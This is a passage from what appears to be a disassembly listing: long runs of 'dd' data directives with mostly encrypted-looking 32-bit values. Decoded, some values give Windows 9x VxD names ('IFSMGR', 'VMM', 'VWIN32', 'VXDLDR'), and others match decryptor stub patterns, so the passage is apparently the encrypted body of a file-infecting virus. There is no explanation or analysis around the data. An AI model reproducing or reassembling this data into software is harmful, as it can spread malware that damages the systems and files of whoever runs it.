		dd 383402BDh, 842C8A5Bh, 432048EBh, 6FC5D563h, 0E67828F9h
		dd 0E6C0D241h, 38F5A556h, 28C16B09h, 9E7E5B19h,	0AA3CEC88h
		dd 0ECE01B58h, 0CF8C3CEDh, 0BF580272h, 3515F282h, 3FD181E7h
		dd 0F2E42856h, 3EA114C5h, 0B7ED410Fh, 11533DDCh, 84B60000h
		dd 86AD46F0h, 969F38E2h, 0A1932CD6h, 0B2841DC7h, 0DB9810BAh
		dd 701A52E4h, 661060D7h, 5B056BCDh, 4BF57FC2h, 0AD41D365h
		dd 3E2362F1h, 0D63F51D8h, 8F2542A6h, 1256DDA9h,	0E9936435h
		dd 0F9A9C65Bh, 55F4AADEh, 0CB67C2C2h, 0A503254Eh, 631371C7h
		dd 220987D1h, 0BB6B1C1Fh, 8B3537FEh, 76F640FDh,	9B157118h
		dd 0A2157F30h, 1AAh, 755DEFFBh,	268E12F5h, 5700D1D4h, 97D1621Fh
		dd 0DD8BE9BAh, 42A6BE4Bh, 862FE225h, 0F527741Fh, 595CEFA1h
		dd 0A90AE0C4h, 9C2C4621h, 25425308h, 6E17E899h,	5EEFD47Fh
		dd 1FDC8E3Eh, 37C75719h, 0C42542A6h, 7C0EB513h,	308B15D7h
		dd 0E37817FFh, 684C5D83h, 610F298Ah, 32BE3290h,	10000000h
		dd 0A986EE53h, 0EFD37AD8h, 1F8F385Ch, 42A67C8Dh, 26D68725h
		dd 0A6D2E274h, 2EDF2542h, 621F29D0h, 8B3997D1h,	4B2114E0h
		dd 3060EBA2h, 43h, 385CEF8Bh, 7C8D1F8Fh, 0DC2542A6h, 0A604982Ah
		dd 0E4952542h, 0C46D2086h, 0CBDB6D1Fh, 0D82542A6h, 691BC927h
		dd 0A69125B7h, 71222542h, 8BE98BB6h, 4B2114E4h,	545ADE9Bh
		dd 913783Ah, 0F95728DFh, 1F60EB52h, 0B895DF62h,	0CFD189E7h
		dd 6E17FF30h, 7Ch, 3E5EEFC7h, 9934F98Eh, 53E68EB3h, 68C61A1Bh
		dd 0D3621FC1h, 9396BCD7h, 0C495D76Ch, 61072CE7h, 27E2B384h
		dd 0B2836010h, 8514A654h, 0E25420Fh, 0AA3ACC7Eh, 3725420Fh
		dd 0FE6F686h, 42F32542h, 0FEC0092h, 4CFD2542h, 8A1FD27Bh
		dd 0CA5DDCB0h, 0C0AC8901h, 0E34112E3h, 70C68335h, 14F79EFCh
		dd 0DC99491Fh, 6435125Ah, 7FDD8BA9h, 9C59EBD8h,	22F3D098h
		dd 3B301DC4h, 8B000000h, 0E2545EEFh, 1F10B98Ah,	0E09BD562h
		dd 0CBA1858h, 42A66F7Ah, 0B55E1125h, 99D3621Fh,	1EDB8D3Bh
		dd 52F95719h, 5D358A1Fh, 0C4462DDAh, 0E286AD66h, 0ABC17532h
		dd 0F89FFDCEh, 573060EBh, 84FFFFFEh, 0A6AC40D2h, 8C3D2542h
		dd 6D1F872Eh, 42A6CBDBh, 0C927D825h, 87375DEBh,	225D62F5h
		dd 18C8791Fh, 0E48EE65Bh, 2941126h, 0DC9D11F2h,	0CD7D4EFFh
		dd 9D11AB3Bh, 0AA8738DCh, 95F83DFAh, 9D11F303h,	7E4F00DCh
		dd 4F5FF1A1h, 5CDC9D11h, 0EE7CDAABh, 0DC9D11D8h, 916EFE37h
		dd 2E0B5DD6h, 2945D57Dh, 820317A1h, 0ED208F68h,	7D9123D5h
		dd 0D8DC9D09h, 590A0F5Dh, 4487FBh, 1CD90000h, 4CF35117h
		dd 42A6AB3Fh, 0D6BF8225h, 775D1841h, 4BDB8B76h,	254243BBh
		dd 0C3C8A492h, 29974112h, 25424390h, 0E696F248h, 0B1A00E29h
		dd 0BC639A26h, 0B15FBD8Eh
		dd 4523221Fh, 16C0711Fh, 0B999h, 59EFF400h, 34B4B379h
		dd 55D56800h, 6F1FF06Dh, 45ABC8DDh, 7A2ADB1Fh, 4BF57BBDh
		dd 0DEA86B2h, 0A88F1F2Dh, 8D82F806h, 7142B697h,	42F2C394h
		dd 0C08393B0h, 75C07DE6h, 0E59699F7h, 6FC68335h, 52E69FFDh
		dd 5DDB741Eh, 7F5C1829h, 81E5D8ECh, 5829BDA8h, 7CCAAA87h
		dd 9364082Eh, 10A751E3h, 0AC3CECE0h, 0E0948A1Ah, 956617C8h
		dd 0CB7633E5h, 0AF924BA9h, 0BF821BC5h, 27046CCBh, 0A9128556h
		dd 2EE723A6h, 0DFFB453h, 0D8620000h, 0DA59F29Ch, 0EA4BE48Eh
		dd 0F53FD882h, 630C973h, 6744BC66h, 1CC6A690h, 12BCB483h
		dd 7B1BF79h, 0F7A1D36Eh, 0D9ED7F11h, 0EA2362FCh, 621FFD84h
		dd 0ECBD9AD6h, 296CD58Eh, 42A60797h, 33E39425h,	42A60DA1h
		dd 1CED9E25h, 0B7BD843Fh, 57191FDAh, 1574BF7Ah,	42A67383h
		dd 0FECF8025h, 40DA5E21h, 76A42E2Eh, 9741330Eh,	0FF38EDFFh
		dd 0A1955214h, 0BD6F4E09h, 9B6C52E1h, 1B8FEDBEh, 4Ah, 3B59EF74h
		dd 0B6C4F98Bh, 972C1F45h, 1C354352h, 0BC7A35FEh, 0B44F52B0h
		dd 3D0EEB81h, 6DD48F6Ch, 7DC45D07h, 0EC3A1AF7h,	7426D888h
		dd 0A034D2E2h, 7E2EDFDCh, 0A034D8ECh, 0DA38E9DCh, 0A73CB94Ch
		dd 5FE29FE6h, 3B4B715h,	1F14D259h, 2D069F49h, 3DCE5E3Bh
		dd 1C2542A6h, 1CAA541Ch, 3896D65Fh, 0F8A8CC5Ah,	0DDA2F966h
		dd 0CF6113E0h, 0DC9D103Fh, 53F803Eh, 0FE0389CAh, 5CECEF4Dh
		dd 9DDC3ACAh, 7A8A1CDCh, 87DC9DDCh, 4F20D1D6h, 5753E29Fh
		dd 3C59A376h, 0A842D5FEh, 4F01E58Ah, 4E0BBB8Ch,	82F1C2E8h
		dd 0B5498A8Eh, 0D57407E4h, 0ED12AE6Eh, 660E6C3Dh, 541C1BD8h
		dd 0A148A677h, 7F309B15h, 130A215h, 0EFFB0000h,	1F8E375Dh
		dd 42A67C8Dh, 0C8712425h, 0F527741Fh, 385CEFA1h, 1FD47F8Fh
		dd 3A98D462h, 43E5C95Ch, 15C00C08h, 7CF19A6Bh, 308B15D7h
		dd 3AB217FFh, 0B000000h, 95DF621Fh, 0A2C65937h,	7C8D1FF9h
		dd 0DC2542A6h, 0A6CA6D2Ah, 5468F8C9h, 652542A6h, 0A25356B4h
		dd 830335F2h, 9DAB7B1h,	1F33DA38h, 4B211474h, 3060EBA2h
		dd 2Dh,	385CEF8Bh, 0FF69CB88h, 4CF35122h, 0A67C8D1Fh, 71242542h
		dd 14741FC8h, 69B4B21h,	1C6EC099h, 80F0833Ch, 794E69B1h
		dd 0EBBA61BFh, 308B1560h, 0BB7817FFh, 4213F078h, 4170E4h
		dd 10C20000h, 42A66E7Eh, 41087BD8h, 0F84CCA7Fh,	0CA773203h
		dd 0EFA54CAAh, 1F953E5Eh, 42A67C8Dh, 2DD68725h,	621F741Fh
		dd 0E488ADD1h, 88653607h, 93A059B7h, 60EB2CD5h,	3C30h
		dd 6FC78400h, 1FF89FFDh, 0E686B06Dh, 42A64656h,	0D4989D25h
		dd 862126F7h, 0FE0BDAFh, 3302E03Eh, 8D1FA851h, 2542A67Ch
		dd 1FC87124h, 0DB6D1F74h, 2542A6CBh, 10C927D8h,	0EB9C4523h
		dd 0DF621F60h, 89E7B895h, 0FFFEC7ECh, 59EF47FFh, 6ACE8B3Bh
		dd 9D582906h, 23F4D197h, 0F28517C5h, 91F225Dh, 4DEBA858h
		dd 9370FC39h, 0E593F1C2h, 0AB5B1928h, 0C8264AEEh, 0AFD56220h
		dd 0E0B84DFFh, 931A8914h, 37C755B3h, 0C4DC9D45h, 10A63613h
		dd 22DC9D45h, 0E9038298h, 90ED20DBh, 1Ah, 0A6AB3FE9h, 0BF822542h
		dd 0A38E0BB5h, 0E2000000h, 0A60E9E30h, 0EA9B2542h, 59EFE58Ch
		dd 0A4F98B3Bh, 371F45A6h, 1B19D686h, 419F704Dh,	0E62D693h
		dd 36DCB64h, 7DB97626h,	0DC5712EFh, 0DDEAF8Ch, 1D7BD1AFh
		dd 5D40DB6Dh, 0A657E6C1h, 71FF39F6h, 0BB7C39C7h, 54DEABF3h
		dd 0E2B30518h, 1DD63405h, 9878551Bh, 0A436E682h, 0ECE0D20Ah
		dd 712EDE8Fh, 61FAA4D0h, 722194E0h, 53E72364h, 0AB3D978h
		dd 24160000h, 260DA650h, 36FF9842h, 41F38C36h, 52E47D27h
		dd 3BF8701Ah, 0D07AF244h, 0C6700037h, 0BB650B2Dh, 0AB551F22h
		dd 0DA133C5h, 9E2362FBh, 2D14B138h, 92AF6A47h, 7B0505E2h
		dd 185CE59Fh, 1423E06Eh, 0A446FE5Ch, 9914FF38h,	331058DCh
		dd 50900462h, 0E9000000h, 9A9A8A1Fh, 70AAD173h,	0A3E63412h
		dd 42E8FD11h, 8C5D0E25h, 0FD1B4ADCh, 0F7A81F45h, 8BAD6A1Ah
		dd 0D93708E5h, 0A9532120h, 66433110h, 24D4B086h, 0A69D4392h
		dd 135D0E6h, 0ECBD8E6Bh, 7002B442h, 0D6849C5Ch,	3F41FA6Dh
		dd 0F0B349CEh, 1F1AC11Fh, 0BD9AD662h, 5ED58EECh, 9BF2600Ah
		dd 422542A6h, 12D07AF6h, 0ADBF7604h, 4C2943F2h,	48FAAA7Bh
		dd 31714EB3h, 0F553DAEAh, 2230F567h, 92FCA1Fh, 29E69667h
		dd 2FB6600Ch, 7F309B15h, 15EA215h, 0EFFB0000h, 9B9B585Dh
		dd 0A6AD41D1h, 1932542h, 2542A6EDh, 97484DFEh, 8D1F1DC6h
		dd 2542A67Ch, 0E20AAF24h, 204D756Dh, 741FA64Fh,	0EFA1F527h
		dd 7F8F385Ch, 3E5EEFD4h, 0DF621F95h, 41E63795h,	0FF308B15h
		dd 53B217h, 0EF0B0000h,	0D688385Ch, 42A6B044h, 32904125h
		dd 7C8D1F8Bh, 872542A6h, 396E5014h, 6515F63Ch, 42DCC3D3h
		dd 4E1FD025h, 0D58A1FA5h, 0F155BA09h, 381269FCh, 56ADF9h
		dd 1449F4A2h, 9A618921h, 0B7E3982Ah, 0BF7936E6h, 0A503D4B1h
		dd 3060EBFEh, 20h, 385CEF8Bh, 7C8D1F8Fh, 242542A6h, 741FC871h
		dd 9BD5621Fh, 0D68FEDBEh, 5711235Fh, 60EBDD86h,	0FF308B15h
		dd 3FB217h, 1F0B0000h, 0D6A9398Ah, 64C28D27h, 1C13B786h
		dd 56A60310h, 1FB15A2Bh, 642ED86Dh, 7B3694FFh, 0A437229Ah
		dd 0F44D480Ch, 0C351AF80h, 2542CD36h, 1F630CBDh, 491F1474h
		dd 3060EBA0h, 3Eh, 3E5EEF8Bh, 0E8EF98Eh, 8D6AFE35h, 8A3629BCh
		dd 1FD279D7h, 0E178D86Dh, 9F4BFE51h, 9A26B341h,	974A2542h
		dd 14741FEEh, 1FA0491Fh, 89BD562h, 1FED1A1Ch, 4A2C8AD6h
		dd 323AFBB8h, 6D1F2DD4h, 42A6CBDBh, 6C27D825h, 0F2C3A0C8h
		dd 0FEA2F794h, 0B64BFFFFh, 0A997C2EEh, 3BE2403Ch, 8B3B59EFh
		dd 225D66F9h, 1E15D21Fh, 3E9C6D4Ah, 28DA8A3Bh, 11D0E476h
		dd 30E1DC9Dh, 4C2819D2h, 3157E4A2h, 11DFEF81h, 3BECDC9Dh
		dd 0B7FF68Bh, 200FAD68h, 7A37E7C2h, 19D4B1BBh, 0A374511Fh
		dd 0D0E674D2h, 62DC9DC1h, 0A94342D8h, 96ED205Fh, 7B319401h
		dd 0BE1C09B5h, 104Ah, 0AB3FA300h, 822542A6h, 8E0BB5BFh
		dd 0C6h, 3B59EFE9h, 0B747D98Bh,	442542A6h, 0F5873593h
		dd 1F45AB58h, 0D795A03Bh, 75521A1Ch, 8E23D3A4h,	0B92D8748h
		dd 22B464A9h, 0DCA0EC92h, 62106E1Fh, 33DD93A5h,	22D29E9Ah
		dd 0FAB288Dh, 81DFF23Ah, 1470C6A6h, 0C345D264h,	0A152E6C0h
		dd 6C0434F1h, 610F29C2h, 0F296A484h, 0BDB38542h, 42FFB15Fh
		dd 0C89976F2h, 30D2DC6Ah, 2CC7ECE0h, 0CB866309h, 5122FF69h
		dd 42FFAF80h, 32CB75FFh, 0B2BA7B0Fh, 0C7CB42D5h, 8FEEB4B4h
		dd 0C57AEDBEh, 62E7234Ah, 76BE887h, 6CCE0000h, 6EC55E08h
		dd 7EB750FAh, 89AB44EEh, 9A9C35DFh, 0F3B028D2h,	88323AFCh
		dd 7E2848EFh, 731D53E5h, 630D67DAh, 4559EB7Dh, 562362C7h
		dd 2D1469F0h, 92AF6A47h, 0C07532E2h, 0B8734EACh, 5813F080h
		dd 0ABAE8BE9h, 7B7BF327h, 0E65B29F1h, 0A24CE48Eh, 9F14FF3Ch
		dd 524B5BEDh, 0A758DABDh, 27D549h, 0EF2E0000h, 0CE8B3B59h
		dd 55260365h, 36B749F7h, 0A51F45A1h, 738717F4h,	0FDDCA05Fh
		dd 0CCDEA773h, 6BED1DC5h, 4Dh, 5159EFC4h, 0DBAC89E7h, 999D5A0Ah
		dd 35C775D3h, 1F45D310h, 45F5D283h, 0E0BDAB88h,	49F8B10Fh
		dd 36F3812Bh, 0B6BE83FFh, 0D93708E5h, 76532120h, 3DFA8096h
		dd 0B26233h, 0A06B5E6Eh, 0FFBA6BDCh, 29D73537h,	0A766BE97h
		dd 822CDDE6h
		dd 0DB6D1FFBh, 2542A6CBh, 7B581422h, 96F4A5AAh,	0D68882D1h
		dd 42A6B044h, 32904125h, 0F2A2C654h, 45AB2D60h,	1DCD7E1Fh
		dd 0B794D460h, 0AB3788E6h, 1C92B9FCh, 0EBEDA70h, 292C497Ch
		dd 0CCA95A26h, 8A3A5EECh, 0A446FF8h, 8517C92Ch,	870E871h
		dd 7073D182h, 0E8BE4EE0h, 9A4B0870h, 0EDCF1A07h, 6637C88Eh
		dd 0FA4704B6h, 160A9D7Ah, 2DD4F737h, 954EAC7Dh,	4757E9ACh
		dd 540870E8h, 8F28D2A3h, 844FC2B2h, 95A7938Ah, 6071BBAh
		dd 0D06A0000h, 0D261FAA4h, 0E253EC96h, 0ED47E08Ah, 0FE38D17Bh
		dd 6F4CC46Eh, 24CE9E98h, 1AC4AC8Bh, 0FB9B781h, 0FFA9CB76h
		dd 0E1F58719h, 0F22362C4h, 2D14058Ch, 0FDBA6A47h, 1DD63438h
		dd 0ECAA5418h, 0D88A3A5Eh, 0F04E261Bh, 225DD562h, 0C052E21Fh
		dd 0DC9D102Ch, 5E3B0CBDh, 0BDFB19AEh, 86A5EB54h, 0A6C66F28h
		dd 0E67EA233h, 0BD5C37DAh, 599h, 8C363EFCh, 7E2840F3h
		dd 721C50E5h, 630D5BD9h, 56006CCAh, 0C2A01DEh, 1A1DB660h
		dd 2513AC56h, 3908A14Bh, 19AB913Bh, 62C57787h, 971E8423h
		dd 8B3B59EFh, 0A6B747D9h, 0A9442542h, 500BDC98h, 7A2886E6h
		dd 442C0BC8h, 5DCF58E6h, 39D41F22h, 0C19E6FFDh,	98FC7C11h
		dd 396DA5Dh, 79D7817Ah,	84F775C0h, 0DAE6C7EDh, 2A54F3CEh
		dd 8D000005h, 841DC7ADh, 760FB9AFh, 6A03ADBFh, 5BF49ECAh
		dd 6FE791DBh, 0F17BBBB0h, 0E789AE47h, 0DC94A43Dh, 0CCA89932h
		dd 18AA3C22h, 2362C584h, 0EF28AF15h, 0F68B3B59h, 0A9053460h
		dd 18C62464h, 0E28EA966h, 2069F684h, 0BD6E1F22h, 9F3780Dh
		dd 2AB6619Ch, 0CB5E5DB3h, 67CD499Ah, 0F7D23001h, 73F93Ch
		dd 0DAE59F63h, 0BECA6944h, 21000004h, 18B15B19h, 0AA34D1Bh
		dd 0FE97412Bh, 0EF883236h, 37B2547h, 85E74F24h,	7BF542DBh
		dd 700038D1h, 60142DC6h, 0AC3ED0B6h, 2362C518h,	14BC43A9h
		dd 0AF6A472Dh, 4205E292h, 76335CBEh, 944DABBDh,	8F1DC7ADh
		dd 0E66D09FAh, 9EFC7955h, 0CB565CE5h, 0B4BC7CFCh, 93D76A21h
		dd 7835E5C2h, 3D4B1BFh,	398217A5h, 22A82542h, 0BFB58CF8h
		dd 0A3C15715h, 0C2DA61F3h, 5ED11F22h, 3332D4Ah,	0AD5D2E52h
		dd 73F53EFBh, 0AE67C596h, 9E37E193h, 8C21D1A3h,	715C53F3h
		dd 1BAB3D10h, 0A8DCA246h, 0C86B26F7h, 94F2C3A0h, 2543D9B9h
		dd 9D31C375h, 2EDCA246h, 0FA76C27Dh, 0A5CEE9Ch,	9FE6C2BDh
		dd 0C0813EEEh, 31B343D5h, 8F40D682h, 0C67B14BEh, 0BA4CFEAEh
		dd 0D682312Ah, 0EC4B06B7h, 6B4B2684h, 7507B7DDh, 0EC854398h
		dd 0E4D74AFBh, 35E72274h, 3CBBB5Ah, 0C2E0000h, 0E25BE68h
		dd 1E17B05Ah, 290BA44Eh, 3AFC953Fh, 53108832h, 0E892DA5Ch
		dd 0DE88E84Fh, 0D37DF345h, 0C36D073Ah, 25B94BDDh, 0B62362C2h
		dd 2D14C950h, 92AF6A47h, 0A65D7103h, 0B5E02542h, 0B3BD962Ah
		dd 0CD9E4F54h, 0B1D76523h, 0F5C26F01h, 74261F45h, 0A188D2E2h
		dd 0D02EDFDCh, 8F3F1CCDh, 88BB4BDDh, 9748DCA1h,	881FAB39h
		dd 8F21DCA1h, 0A80662D2h, 436D1802h, 0FAED1C16h, 27h, 3B59EF53h
		dd 0A580F98Bh, 62131F45h, 59E5F585h, 0E16BDCA0h, 0C3A24C39h
		dd 0D6D9ED1Dh, 2B000000h, 0C9A6CA6Eh, 14F39AF8h, 0DA97472Dh
		dd 7934115Bh, 7DDBACC8h, 1D4FE7A2h, 0B8BC8540h,	692120DBh
		dd 0F3C4A1CFh, 0B10A7822h, 902542A2h, 8019C3B1h, 26D6B3C1h
		dd 5AD2E274h, 44DFDABDh, 0CD9E7BF1h, 6AC09EFCh,	71CC5E0Eh
		dd 2E0BA6Bh, 53E9A751h,	0A27FE94Bh, 3D1A5AE7h, 1ACA9B6Ch
		dd 3795DB5Dh, 3442D789h, 4FDE59F0h, 9383116Fh, 20E6AA9Fh
		dd 3402BF6Fh, 0D29A9C59h, 9424F5h, 91D6819Eh, 0D7650FE0h
		dd 9E039325h, 0DF90D681h, 0FE6EC881h, 2A1928Bh,	3DDCB7E1h
		dd 291h, 842E46F4h, 762048EBh, 6A1458DDh, 5B0563D1h, 4EF874C2h
		dd 142219D6h, 2215AE58h, 2D0BA44Eh, 41009943h, 11A38933h
		dd 62C06F7Fh, 8F167C23h, 0A04A2214h, 903A3A07h,	3B59EF09h
		dd 0A580F98Bh, 62131F45h, 2D43F5B2h, 5464F4CFh,	0DADCA059h
		dd 31BBCA50h, 48ED1DC3h, 0CDh, 4656E89Ah, 53DCA055h, 1F9D44A2h
		dd 0A26DED8Ah, 904B0CC4h, 0AF68C6A6h, 4A05E292h, 13A380ECh
		dd 2542C6C8h, 22CCA899h, 0DFBCB889h, 9B4B29FFh,	45F7BC09h
		dd 0DE8E3F1Fh, 0D4E87A2Ch, 0E5DCA1F7h, 0F710A434h, 0F0A1DCA1h
		dd 0C75CEA92h, 0FA12DB7Dh, 0E9C725A1h, 0F3853553h, 0E6ABB1A2h
		dd 13D08031h, 4994923h,	66E24C29h, 0A739E92Bh, 0D686DD17h
		dd 0ED95F3A4h, 178AE254h, 0E1015E18h, 0B29F3E19h, 15000001h
		dd 0CA54F25h, 0FE974127h, 0F28B3537h, 0E37C2642h, 0F76F1953h
		dd 79F34338h, 6F0136CFh, 640C2CC5h, 542021BAh, 0A032C4AAh
		dd 2362C00Ch, 1FB0379Dh, 0B895DF62h, 66D089E7h,	12A45606h
		dd 2542A682h, 58005E0Fh, 48F282BFh, 472D14C1h, 2092AF6Ah
		dd 20212A00h, 5A93C154h, 8543EDBEh, 1F51E7B7h, 0F0A07142h
		dd 45BF5F5Eh, 52E4A11Fh, 96D65F1Ah, 0A7843538h,	71FB3AF7h
		dd 0A386DADEh, 9AF8FF59h, 0A157FC0Ch, 22F882DCh, 0E583B06Dh
		dd 0C9DDCF87h, 345CED1Ch, 0AE000000h, 4F5A6AFCh, 0B667DCA1h
		dd 59EFB158h, 65CE8B3Bh, 65F7A503h, 1F4597FCh, 992906B7h
		dd 0DCA05701h, 0F095850Fh, 0ED1DCDFEh, 187Dh, 2312CF00h
		dd 3F44EB49h, 2542A6AAh, 0FCACC85Eh, 45BD676Ah,	0D17B2C1Fh
		dd 3B59EF4Ah, 0D520F98Bh, 73081F45h, 41E04AFFh,	6B6ECC1Eh
		dd 0BD4DDDBAh, 0C3DCA0D0h, 0A5899C31h, 58E9F9F2h, 0BFC654FAh
		dd 0ED1DB22Dh, 1B4Ch, 0AB3FA500h, 5D2542A6h, 67F9A9CFh
		dd 1F45BD6Ah, 0F7079929h, 4DCA073h, 51D88253h, 59458A1Fh
		dd 9583F8CAh, 0DB6EB7C3h, 52E2C825h, 97683916h,	0BDCD5B39h
		dd 7525F67Ah, 22B4BCE3h, 0A393501Fh, 0F5686BC9h, 0C9CEA835h
		dd 0C29F709Eh, 903A3A07h, 4D2A4AF7h, 35644BDh, 8D8D11B5h
		dd 802A4AF7h, 3D1A5AE7h, 0D9B6B282h, 9224D682h,	58BE4702h
		dd 596DFF8Fh, 6A58BE47h, 0EA55E8B9h, 8C3AC181h,	1BFFA503h
		dd 0EC9CD869h, 0A19FA53Ah, 938DE8h, 0BE9A5C70h,	5EBC6D58h
		dd 50241DB6h, 3D473h, 5D2F0000h, 4E2614B6h, 0E98BB671h
		dd 89E7510Ch, 2A46F1ACh, 0C8A4924Dh, 660630EBh,	266CE89h
		dd 0A1CB6A25h, 3E2A09C4h, 89579C61h, 4BD55E7h, 1000000h
		dd 0EF835DEFh, 243C8704h, 0E189515Ch, 4C181h, 0E9830000h
		dd 240C8704h, 2434895Ch, 4EC81h, 1C890000h, 4AFA6824h
		dd 348B0620h, 4C48124h,	54000000h, 81241C8Bh, 4C4h, 4EC8300h
		dd 8F243489h, 1C8B0843h, 0E2895224h, 4C281h, 0C2810000h
		dd 4, 5C241487h, 5E2434FFh, 0E904C483h,	0FFFD166Eh, 89FED335h
		dd 991FE9E5h, 0D6B8B0D2h, 3062068h, 7DE0FFC5h, 75638985h
		dd 0EA6088E5h, 0FB385892h, 2552004Ch, 0F912B46Fh, 0A5114271h
		dd 714B0221h, 7812B179h, 8B6C0894h, 7315E2Ah, 0C57AE2FDh
		dd 4B294A2Bh, 8A706323h, 0E80219B0h, 14h, 0FF7C7386h, 0F78CB5ACh
		dd 72EA5231h, 51A64908h, 40C4C2E7h, 11E856h, 0B46E0000h
		dd 8D905287h, 9B4B14C8h, 0E415A2C3h, 668EC7D1h,	0BDA6C281h
		dd 0F585E5Eh, 8Ah, 0BEC08100h, 81000075h, 1832CFCFh, 2755BB09h
		dd 0C38174ADh, 8B52F5E8h, 0F57088Bh, 286h, 5AF98B00h, 0FC58C181h
		dd 51601263h, 0E9585E57h, 10h, 0B0E1E1C0h, 5F059D71h, 0FA0140BDh
		dd 0F7D471C9h, 0D7F18161h, 56179D96h
		dd 59F1815Fh, 0F673107h, 287h, 89FB8B00h, 8306B208h, 816604E8h
		dd 81FEE4DAh, 1EBh, 0D850F00h, 0E9000000h, 1Eh,	84321F7Ch
		dd 0DE707999h, 91E9FB8Bh, 5DFFFFFFh, 0B0400628h, 9AE31806h
		dd 8BCA91D8h, 34EB4329h, 4D534649h, 20205247h, 20444B56h
		dd 20202020h, 204D4D56h, 20202020h, 4E495756h, 20203233h
		dd 4C445856h, 20205244h, 3 dup(0)
		dd 816E9h, 8800F00h, 0F000000h,	285h, 60616000h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 6FC35747h, 6E99E3Dh
		dd 97000000h, 0B296F2A3h, 9085C7A3h, 6206Ah, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 0F51BC356h, 6AC68Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 0F235F4C3h, 81666028h
		dd 665441EFh, 0F61D88Bh, 6AD8B7h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 1BE60C3h, 816660C8h
		dd 6663A6C6h, 619826BAh, 6A10E8C1h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 0AB05C350h
		dd 0EE628A6Fh, 0C8C166FCh, 0BB666008h, 6060BC12h, 890F61h
		dd 61000000h, 94858961h, 6006206Ah, 0C16661F8h,	83F508CBh
		dd 850F40FBh, 8Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 7EC35242h, 4DC90EF4h,	60602B4Fh, 15850F61h
		dd 0E9000000h, 10h, 0E233137Eh,	0DD76680Ch, 886F599Dh
		dd 0BF9E6ACFh, 68BD8D61h, 6A06206Ah, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 123FC355h
		dd 5A61CD90h, 5E9B6h, 0D9510000h, 0E98D91A5h, 198h, 0C8E0Fh
		dd 8A0F0000h, 6, 860Fh,	0FB830000h, 81850F0Dh, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 0D51DC352h, 0C12CECAFh, 0F5381060h, 6A70BD8Dh
		dd 6A0620h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 77D1F4C3h, 0F530BD0Fh, 12BE9h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 7DCAE7Fh, 9DE6541Ch,	7E9h, 9D2C6800h, 19ADCCD2h, 0F01FB83h
		dd 6285h, 0BF666000h, 8166C7ADh, 61C89BF0h, 6A78BD8Dh
		dd 7E90620h, 2E000000h,	8B5E776Ah, 0D1E94DFDh, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 7032C355h, 5E9h, 0A48B1700h, 14E99464h, 7A000000h
		dd 0A17A3E58h, 0C9BBCD72h, 0B57F3250h, 669A895Dh, 83A52A05h
		dd 850F2AFBh, 59h, 10E9h, 0E4924200h, 0BD38D464h, 956493F3h
		dd 0EBDC32C7h, 80BD8D4Dh, 6A06206Ah, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 4DB3C357h
		dd 676EF121h, 0E9E39028h, 6, 0B66E9E8Bh, 8B6083B2h, 0E92EB9D6h
		dd 0E96118CAh, 30h, 27FB83FCh, 34A850Fh, 8E90000h, 5D000000h
		dd 0DA0D2587h, 0FEFACF9h, 889h,	28B0F00h, 60000000h, 88BD8D61h
		dd 6006206Ah, 0FC615A57h, 6A98BD89h, 6A0620h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 8170C2C3h
		dd 72AD47D4h, 0F5264681h, 0FCC88C66h, 13E90324h, 30000000h
		dd 3677B202h, 9D7F8ACAh, 1113C433h, 0D2D293C1h,	0C00A0DFBh
		dd 202850Fh, 0E9F80000h, 14h, 9F0013C5h, 1A332BA7h, 2B218799h
		dd 0D23DDBA5h, 1CDDAF2Ch, 717EB58Dh, 6A0620h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 7580E0C3h
		dd 6365829Fh, 840F9EA3h, 13h, 0EE9h, 2474AD00h,	985D6A0Ch
		dd 8804E5B2h, 60C91E4Ah, 6820Fh, 0DE810000h, 514C0BFBh
		dd 2C858B61h, 0E9062072h, 11h, 4ED25719h, 73D7D2B6h, 60770C7Fh
		dd 0ED51CCB6h, 525050A4h, 0F585760h, 88h, 310F6100h, 2890Fh
		dd 61600000h, 1489585Ah, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 8F0F57E9h, 1, 4C010FF8h
		dd 8E0FFE24h, 17h, 0D3BF0F60h, 0DE9h, 7E121500h, 2E4980E4h
		dd 0D359E917h, 5A61C302h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 6CC35545h, 12E6535Ch,	0F9465C91h, 24C283FCh
		dd 0B870Fh, 6E90000h, 75000000h, 0F2349CE6h, 72896611h
		dd 57006AFCh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 18880F5Bh, 0E9000000h, 13h, 0F9DF0394h
		dd 0BF1B5D3Fh, 277AECDDh, 0AC9D2EAFh, 600B87D3h, 0FE9F8h
		dd 30EF0000h, 1837832Dh, 315FB7Ah, 0CF39A92Eh, 0CEC16115h
		dd 53006A10h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 728966F0h, 0BE902h, 0F90000h, 4E7DC405h
		dd 2583BB8Fh, 6004CDF1h, 0BDD68166h, 0EE88Fh, 43F40000h
		dd 0F94E3F54h, 369C378h, 88FA0622h, 6BDCBE66h, 0CFE9615Ah
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 854FC350h, 21CCA67Ah, 8160C782h
		dd 9EB7CEC3h, 5CC88124h, 61270165h, 722C858Bh, 6A0620h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
